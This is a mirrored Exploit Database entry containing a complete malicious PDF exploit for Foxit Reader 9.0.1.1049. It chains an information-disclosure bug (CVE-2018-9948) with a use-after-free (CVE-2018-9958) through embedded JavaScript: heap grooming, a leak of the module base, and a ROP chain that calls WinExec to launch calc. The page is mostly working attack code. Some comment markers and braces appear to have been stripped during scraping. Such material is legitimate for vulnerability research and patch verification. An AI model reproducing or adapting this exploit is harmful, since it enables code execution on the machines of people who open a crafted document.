Foxit Reader 9.0.1.1049 – Remote Code Execution

Exploit Database
118 阅读

作者： mr_me

日期： 2018-06-25
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/44941/

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%PDF

1 0 obj

<</Pages 1 0 R /OpenAction 2 0 R>>

2 0 obj

<</S /JavaScript /JS (

Foxit Reader Remote Code Execution Exploit

==========================================

Written by: Steven Seeley (mr_me) of Source Incite

Date: 22/06/2018

Technical details: https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html

Download: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English

Target version: Foxit Reader v9.0.1.1049 (sha1: e3bf26617594014f4af2ef2b72b4a86060ec229f)

Tested on:

1. Windows 7 Ultimate x86 build 6.1.7601 sp1

2. Windows 10 Pro x86 v1803 build 10.0.17134

Vulnerabilities leveraged:

1. CVE-2018-9948

2. CVE-2018-9958

var heap_ptr = 0;

var foxit_base = 0;

var pwn_array= [];

function prepare_heap(size){

This function prepares the heap state between allocations

and frees to get a predictable memory address back.

var arr = new Array(size);

for(var i = 0; i < size; i++){

arr[i] = this.addAnnot({type: "Text"});;

if (typeof arr[i] == "object"){

arr[i].destroy();

}

function gc() {

This is a simple garbage collector, written by the notorious @saelo

Greetz, mi amigo.

const maxMallocBytes = 128 * 0x100000;

for (var i = 0; i < 3; i++) {

var x = new ArrayBuffer(maxMallocBytes);

}

function alloc_at_leak(){

This is the function that allocates at the leaked address

for (var i = 0; i < 0x64; i++){

pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));

}

function control_memory(){

This is the function that fills the memory address that we leaked

for (var i = 0; i < 0x64; i++){

for (var j = 0; j < pwn_array[i].length; j++){

pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4

}

function leak_vtable(){

Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability

ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948

Found by: bit from meepwn team

// alloc

var a = this.addAnnot({type: "Text"});

// free

a.destroy();

gc();

// kinda defeat lfh randomization in win 10

prepare_heap(0x400);

// reclaim

var test = new ArrayBuffer(0x60);

var stolen = new Int32Array(test);

// leak the vtable

var leaked = stolen[0] & 0xffff0000;

// a hard coded offset to FoxitReader.exe base v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68)

foxit_base = leaked - 0x01f50000;

}

function leak_heap_chunk(){

Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability

ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948

Found by: bit from meepwn team

// alloc

var a = this.addAnnot({type: "Text"});

// free

a.destroy();

// kinda defeat lfh randomization in win 10

prepare_heap(0x400);

// reclaim

var test = new ArrayBuffer(0x60);

var stolen = new Int32Array(test);

// alloc at the freed location

alloc_at_leak();

// leak a heap chunk of size 0x40

heap_ptr = stolen[1];

}

function reclaim(){

This function reclaims the freed chunk, so we can get rce and I do it a few times for reliability.

All gadgets are from FoxitReader.exe v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68)

var arr = new Array(0x10);

for (var i = 0; i < arr.length; i++) {

arr[i] = new ArrayBuffer(0x60);

var rop = new Int32Array(arr[i]);

rop[0x00] = heap_ptr;// pointer to our stack pivot from the TypedArray leak

rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret

rop[0x02] = 0x72727272;// junk

rop[0x03] = foxit_base + 0x00001450// pop ebp; ret

rop[0x04] = 0xffffffff;// ret of WinExec

rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret

rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec

rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret

rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret

rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret

rop[0x0a] = foxit_base + 0x0041c6ca; // ret

rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret

rop[0x0c] = 0x636c6163;// calc

rop[0x0d] = 0x00000000;// adios, amigo

for (var j = 0x0e; j < rop.length; j++) {

rop[j] = 0x71727374;

}

function trigger_uaf(){

Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability

ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958

Found by: Steven Seeley (mr_me) of Source Incite

var that = this;

var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});

var arr = [1];

Object.defineProperties(arr,{

"0":{

get: function () {

// free

that.getAnnot(0, "uaf").destroy();

// reclaim freed memory

reclaim();

return 1;

}

});

// re-use

a.point = arr;

}

function main(){

// 1. Leak a heap chunk of size 0x40

leak_heap_chunk();

// 2. Leak vtable and calculate the base of Foxit Reader

leak_vtable();

// 3. Then fill the memory region from step 1 with a stack pivot

control_memory();

// 4. Trigger the uaf, reclaim the memory, pivot to rop and win

trigger_uaf();

}

if (app.platform == "WIN"){

if (app.isFoxit == "Foxit Reader"){

if (app.appFoxitVersion == "9.0.1.1049"){

main();

}

)>> trailer <</Root 1 0 R>>